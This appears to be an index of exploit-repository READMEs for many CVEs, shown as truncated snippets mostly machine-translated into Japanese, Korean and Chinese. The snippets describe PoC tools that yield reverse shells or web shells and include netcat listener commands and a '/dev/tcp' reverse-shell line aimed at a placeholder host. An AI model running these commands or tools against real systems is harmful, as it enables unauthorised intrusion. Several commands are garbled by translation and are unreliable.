CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M コマンドインジェクションエクスプロイト CVE-2025-69212 用の完全自動エクスプロイトスクリプトです。これは OpenSTAManager のコマンドインジェクション脆弱性です。このスクリプトは管理者資格情報で認証し、ZIP アーカイブ内の細工された P7M ファイルを介して悪意のある PHP Web シェルを展開し、コマンド実行またはリバースシェルを提供します。 Features 自動認証。 悪意のある ZIP の生成とアップロード（invoice.p7m インジェクション）。 特殊文字の問題を防ぐための...

CVE-2022-22965

CVE-2022-22965 Poc&Exp, 배치 스캔 지원 사용법 -a string 反弹监听地址 -b 是否显示banner default true -c string 命令 default "ls" -p int 反弹监听端口 -poc 是否只进行poc扫描,默认只扫poc default true -r 是否反弹shell default false -t int 超时时间 default 20 -u string 目标单个ip或txt文件 default "http://127.0.0.1:8080" -w int 工人数量 default 10 단일 IP 스캔 배치...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool 익스플로잇 - 임의 코드 실행 익스플로잇 설명 이 익스플로잇을 사용하여 취약한 ExifTool 버전에서 코드 실행에 사용할 수 있는 JPEG 이미지 페이로드를 생성하십시오. 사용자 지정 명령을 제공하거나 리버스 셸을 생성할 수 있습니다. JPEG 이미지가 자동으로 생성되며, 선택적으로 사용자 지정 JPEG 이미지를 제공하여 페이로드를 삽입할 수 있습니다...

gitlab-RCE-11.4.7

gitlab-RCE-11.4.7 GitLab 11.4.7 CE RCE 익스플로잇 - 다양한 리버스 쉘 지원. CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585 학습 및 연습 목적으로 Sam Redmond and Tam Lai Yin의 버전을 수정한 것입니다. 사용 방법 모든 것이 그래야 하듯 Python3로 작성되었습니다. 의존성: pip3 insta...

cve-2010-4221

cve-2010-4221 このエクスプロイトはいくつかの概念を勉強するために書かれました。お楽しみください！ 使用方法 Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format ターゲットIP、ポート、および選択した攻撃タイプを入力してください。プログラムは...

CVE-2014-6271

CVE-2014-6271 python2.7 お使いのマシンでリッスンを開始します。 nc -l -p 4444 以下のルールに従ってpythonスクリプトを実行します： python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 お楽しみください...

Confluence-RCE

Usage: python3 mian.py 탐지 명령 실행 리버스 셸 socks5 및 http 프록시 지원 교류 및 학습 목적으로만 사용하세요...

CVE-2022-36804-PoC

CVE-2022-36804-PoC マルチスレッドのエクスプロイトスクリプト。CVE-2022-36804に影響を受ける（ほとんどの）BitBucketバージョン://: -e check,rce,ssrf,download,revshell, --exploit check,rce,ssrf,download,revshell Exploit to perform --cmd CMD...

CVE-2022-36553-PoC

CVE-2022-36553 - Hytec Inter HWL-2511-SS 인증되지 않은 원격 명령 주입 취약점. 개요 이 저장소는 Hytec Inter HWL-2511-SS 장치의 중요한 취약점인 CVE-2022-36553을 악용하기 위한 개념 증명PoC 리버스 셸 스크립트를 포함합니다. 이 스크립트는 실용적인 데모로, 제 블로그 게시물 "Hytec Inter HWL-2511-SS - 취약점 보고서"에서 제공된 심층 분석을 보완합니다. 영향을 받는 버전 버전 1.05 이하의 모든 Hytec Inter HWL-2511-SS 장치...

CVE-2020-9484

CVE-2020-9484 동영상을 보려면 이미지를 클릭하세요 사용법 실행 가능하게 만드세요 chmod +x CVE-2020-9484 ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Linux上で実行する必要があり、環境にはgccが必要です。 golangをインストールし、以下のコマンドを実行してシェルをリバウンドします。 go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 注意：エクスプロイトの実行には数分かかる場合があります。しばらくお待ちください。...

CVE-2023-46604

CVE-2023-46604 要求環境に従って、被害者マシンとターゲットマシンの2つのイメージを含むdocker-composeを構築します 被害者マシンで、ActiveMQを起動します 攻撃者マシンに切り替えます: • ポック（poc）を送信するためにHTTPサービスを開く: python3 -m http.server • netcatを使用して攻撃者マシンへの接続を待ち受ける nc -nlvp 4444 • リバースシェル接続を作成するペイロードを攻撃者マシンに送信する python3 exploit.py -i 172.18.0.3 -p 61616 --xml...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 취약점 설명 JumpServer 임의 파일 쓰기 취약점 CVE-2023-42819 + CVE-2023-42820 = GetShell USAGE 1. 스크립트와 필요한 파일을 같은 디렉터리에 두십시오. 2. Google Chrome이 설치되어 있는지 확인하고, Google Chrome의 버전 번호를 확인하십시오. reg query "HKEYCURRENTUSER\Software\Google\Chrome\BLBeacon" /v version 3. Google Chrome의 버전...

CVE-2020-0796

CVE-2020-0796 リモートコード実行 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 攻撃者のミスを見つける CVE-2020-0796 / "SMBGhost" のリモートコード実行 POC 期待される結果: システムアクセスを伴うリバースシェル。 企業環境での教育およびテスト目的のみを意図しています。 ZecOps は本コードについて一切の責任を負いません。ご自身の責任でご使用ください。 SMBGhost やその他の攻撃を自動的に検出するための、サーバー、エンドポイント、モバイルデバイス向けのエージェントレス DFIR...

cve-2026-27483

CVE-2026-27483 MindsDB パストラバーサルからRCEへのPoC このPoCスクリプトは、以下のGitHubアドバイザリに基づいています。 デフォルトではMindsDBは認証を使用しません PoCは認証なし と認証あり の両方のモードをサポートしています /api/handlers/ をクエリして利用可能なハンドラーを見つけ、インストールされていない任意の利用可能なハンドラー名を使用できます PoCは /venv/lib/python3.10/site-packages/pip/init.py を上書きします...

CVE-2023-20887

CVE-2023-20887 エクスプロイト VMWare vRealize Network Insight 事前認証RCE CVE-2023-20887 使用方法 usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHO...

CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE

RaspAP Hunter RaspAP Hunter は、RaspAP のインストールをスキャンし、特定の脆弱性 CVE-2022-39986 をテストするために設計された Bash スクリプトです。 / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex / / / / / / / // // / / // \ / // \ / / / // // // / / // / / // / // // ,/// // /...

CVE-2024-45519

CVE-2024-45519 SMTP脆弱性エクスプロイトスクリプト 概要 このスクリプトはSMTPサーバーの脆弱性をチェックし、脆弱性が見つかった場合、その脆弱性を悪用してあなたのマシンへのリバースシェル接続を確立します。 機能 ポートチェック: 対象のSMTPポートが開いているかどうかを確認します。 脆弱性チェック: SMTPサーバーの脆弱性をテストするペイロードを送信します。 エクスプロイトとリバースシェル: サーバーに脆弱性がある場合、スクリプトはリバースシェルを実行し、リモートマシンへのアクセスを可能にします。 使用方法 お使いのマシンで待ち受ける:...

CVE-2023-45878

CVE-2023-45878 本脚本基于 https://herolab.usd.de/security-advisories/usd-2023-0025/ 的研究编写。该漏洞利用原理是通过 Gibbon LMS 25.0.1 中的任意文件写入漏洞。此PoC将上传一个简单的php命令执行脚本，然后使用该脚本加载一个powershell反向shell。 python3 CVE-2023-45878.py -u http://target.com/Gibbon-LMS -l 10.10.16.2 -p 8888 -f asdf 参数说明： -u, Gibbon LMS 安装的URL。 -l,...

cve-2025-49844

CVE-2025-49844 これは CVE-2025-49844 の個人的な proof-of-concept であり、RediShell としても知られています。 対応ターゲットビルド: x86-64 Linux redis:8.2.1-alpine Docker イメージ x86-64 Linux redis:8.2.1-bookworm Docker イメージ 少し不格好で、Wiz Research のものほど良くはないかもしれません。それでも、Hexacon 2025 のトークがアップロードされる前に動かせたのは嬉しいですし、調査はとても楽しかったです。 使い方...